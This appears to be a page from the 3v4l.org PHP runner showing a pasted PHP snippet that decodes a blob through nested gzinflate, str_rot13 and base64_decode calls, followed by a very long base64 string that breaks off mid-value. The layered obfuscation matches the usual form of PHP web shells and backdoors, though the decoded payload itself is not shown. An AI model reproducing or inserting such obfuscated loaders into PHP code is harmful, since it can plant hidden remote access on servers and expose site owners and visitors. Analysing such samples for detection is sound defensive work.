3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $var = gzinflate(str_rot13(base64_decode(str_rot13(gzinflate(base64_decode("DczdFkIwAADgB3Kx4+f4uehiJyJFM0bcjYPKqGbFPH19D/Adch2iLn+Qan8XlupmvkrlMEVX3NtyDS2gc9nTGF4X0yHDKSAFnPHHOkwhFNw5v0XIqMdyAylyc5r0ReRkzlhmX8y5Fizfz5rpiQsaz7jdWXZDUbJdcN2KqfRPLWnrJ6t88P9SpB5TNIws6KCxxSXvo3EugK2kQKNA2M66mLG72/0A")))))); $another = "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